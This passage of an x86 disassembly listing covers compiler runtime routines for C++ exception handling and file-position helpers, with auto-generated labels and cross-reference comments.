		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBEC0, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBEB8
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBEBC
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBEB8, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBEBC, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBEB8, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBEBC, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBEC4
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D494
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD3E8
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD3E4
		nop
		call	near ptr 2650000h


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD1A0
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD0A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBE2C, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 27A0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		nop
		call	near ptr 2680E92h
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBE30, 0
		mov	dword_4DBE2C, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD0A0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


